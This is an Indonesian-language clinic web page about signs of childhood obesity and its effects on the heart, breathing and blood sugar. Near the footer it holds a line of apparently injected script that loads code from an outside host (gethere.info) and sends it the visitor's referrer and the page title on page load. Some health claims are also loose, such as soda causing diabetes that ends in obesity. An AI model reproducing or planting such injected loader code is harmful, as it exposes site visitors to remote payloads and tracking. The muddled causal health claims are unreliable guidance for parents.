fbpx
Appointment
Appointment
Appointment

Gejala Obesitas dan Beberapa Dampak buruk Obesitas bagi Anak

Pada umumnya, orang awan seringkali mengindetikkan tubuh yang gemuk adalah overweigh yang cenderung mengarah kepada obesitas.  Padahal antara sekedar gemuk-berisi jelas berbeda dengan kondisi tubuh yang overweigh. Seseorang baru dapat dikatakan overweight jika berat badannya melebihi 10-30% dari berat badan normal.

Berbeda kasus lagi jika yang gemuk adalah kalangan anak-anak, para orang tua cenderung melihat jika anak yang memiliki tubuh gemuk akan terlihat lebih lucu ketimbang memikirkan mereka akan berpotensi terkena obesitas. Tentu sebagai para orang tua, Anda tidak ingin buah hati menderita berbagai penyakit mengerikan akibat obesitas bukan? Ada baiknya Anda memahami gejala-gejala obesitas yang terjadi pada anak. Di bawah ini adalah beberapa gejala obesitas yang dapat dilihat pada anak-anak.

Gejala Obesitas Pada Anak

Gemar makan junk food
Junk food atau makanan cepat saji mampu menjadi penyumbang utama dari meningkatnya berat badan buah hati Anda. Makanan ini mengandung lemak, minyak, dan gula yang sangat tinggi. Dan ketiga zat ini akan sangat susah untuk dicerna. Akibatnya, kenaikan berat badan pasti akan terjadi pada mereka yang gemar mengonsumsi makanan cepat saji.

Suka minum soda
Selain gemar makan makanan cepat saji, mereka yang berpotensi menderita obesitas juga sangat suka meminum soda. Soda mengandung gula tambahan yang dapat menyebabkan diabetes dan berakhir dengan obesitas.

Jarang tidur
Apakah buah hati Anda suka susah tidur di malam hari? Ketika buah hati Anda sulit tidur di malam hari maka akan tinggi hormon ghrelin di dalam tubuh mereka. Dan hormon leptin mereka akan rendah. Ketidakseimbangan hormon ini mampu membuat seorang anak cenderung mengonsumsi makanan lebih banyak.

Baca Juga: Hal-hal yang Dapat Menyebabkan Obesitas pada Anak

Kurang melakukan aktivitas fisik
Aktivitas fisik memberikan pengaruh yang cukup tinggi untuk menjaga berat badan buah hati Anda agar tetap stabil. Oleh karena itu batasi kegiatan yang monoton seperti menonton televisi, duduk lama di depan komputer, atau bermain game menggunakan gadget.

Dampak buruk Obesitas bagi Anak

Jika anak sudah menderita obesitas, tidak menutup kemungkinan berbagai penyakit  mengerikan sekelas gangguan jantung akan lebih rentan menyerang si anak. Di bawah ini adalah beberapa kemungkinan dampak buruk yang bisa saja terjadi saat anak sudah terkena obesitas.

Masalah Jantung

Dampak paling utama jika sudah terserang oebsitas adalah masalah pada jantung, bahkan pada anak-anak sekalipun. Penyakit jantung yang terjadi pada anak biasanya berawal dari tekanan darah tinggi serta kolesterol. Bahaya obesitas dapat memicu terjadinya serangan jantung, sebab lemak yang berlebih dapat menutupi pembuluh darah pada jantung sehingga menjadi tersumbat. Jika hal ini terjadi, maka serangan jantungpun dapat terjadi termasuk jantung koroner.

Baca Juga: Penangan Anak Obesitas di Indonesia Belum Menyeluruh

Gangguan Saluran Pernapasan

Bahaya obesitas dapat menyebabkan gangguan pernafasan. Hal ini disebabkan karena terjadinya penimbunan lemak yang berlebihan di bawah diafragma dan pada dinding dada hingga menekan paru-paru. Jika hal ini dibiarkan dapat menyebabkan seseorang mengalami kesulitan dalam bernapas. Pada saat tidur, gangguan pernapasan ini bisa terjadi sehingga menyebabkan pernafasan bisa berhenti untuk sementara (obstructive sleep apnea), sehingga menimbulkan ciri ciri-ciri kurang tidur, seperti sering mengalami kantuk di siang hari.

Diabetes

Resiko yang bisa dialami oleh seseorang yang menderita obesitas adalah penyakit diabetes tipe 2. Pada penderita obesitas, insulin yang dihasilkan oleh pankreas terganggu oleh komplikasi-komplikasi obesitas sehingga tidak dapat bekerja maksimal untuk membantu sel-sel menyerap glukosa. Karena kerja insulin menjadi tidak efektif, maka pankreas terus berusaha untuk menghasilkan insulin lebih banyak yang akibatnya kemampuan pankreas semakin berkurang untuk menghasilkan insulin. Kondisi ini pada umumnya disebut resistensi insulin yang merupakan faktor penyebab seseorang mengalami diabetes tipe 2.

Baca Juga: Bagaimana Mengenali Ciri-ciri Penderita Gangguan Makan

Itulah beberapa gejala yang menunjukan bahwa buah hati Anda sudah mengalami obesitas serta beberapa kemungkinan dampak buruk yang bisa saja terjadi akibat obesitas tersebut. Sebagai orang tua, pastikan Anda selalu mengawasi pola makan anak-anak Anda serta memberikan contoh untuk makan yang baik dan sehat 🙂

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

PT Shape Up Indonesia - Copyright © 2021. All Rights Reserved.
Developed byPetrus Andre
FAQ